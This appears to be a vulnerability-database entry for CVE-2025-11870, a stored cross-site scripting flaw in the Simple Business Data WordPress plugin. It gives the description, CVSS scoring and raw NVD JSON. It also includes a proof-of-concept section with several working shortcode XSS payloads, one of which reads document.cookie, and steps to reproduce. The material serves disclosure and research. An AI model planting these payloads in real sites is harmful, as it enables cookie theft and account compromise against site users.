Security Vulnerability Report
中文
CVE-2025-11870 CVSS 6.4 MEDIUM

CVE-2025-11870

Published: 2025-10-22 09:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Simple Business Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'simple_business_data' shortcode attributes in all versions up to, and including, 1.0.1. This is due to the plugin not properly sanitizing user input or escaping output when embedding the `type` attribute into the `class` attribute in rendered HTML. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Business Data for WordPress <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11870 PoC - Stored XSS in Simple Business Data Plugin The vulnerability exists in the 'type' attribute of the 'simple_business_data' shortcode. The 'type' value is directly embedded into the HTML 'class' attribute without proper sanitization. --> <!-- Vulnerable shortcode usage in a WordPress post/page (requires Contributor-level access) --> [simple_business_data type='" onmouseover="alert(document.cookie)" data-x="'] <!-- When rendered, the HTML output becomes similar to: <div class="" onmouseover="alert(document.cookie)" data-x="">...</div> This causes the injected JavaScript to execute when any user hovers over the element. --> <!-- Alternative payload using onerror / onfocus event handlers --> [simple_business_data type='x" autofocus="true" onfocus="alert(1)" a="'] <!-- Alternative payload using src / javascript URI in style context --> [simple_business_data type='" style="background:url(javascript:alert(1))" x="'] <!-- Steps to reproduce: 1. Login as a Contributor or higher user role 2. Create a new post or page 3. Insert the malicious shortcode above into the content 4. Publish the post/page 5. When any user (including admins) views the published page, the XSS payload executes -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11870", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:35.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Business Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'simple_business_data' shortcode attributes in all versions up to, and including, 1.0.1. This is due to the plugin not properly sanitizing user input or escaping output when embedding the `type` attribute into the `class` attribute in rendered HTML. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-business-data/tags/1.0.1/templates/simple-business-data-template.php#L14", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd2754f9-11f7-4690-99dd-2204e69bf14b?source=cve", "source": "[email protected]"}]}}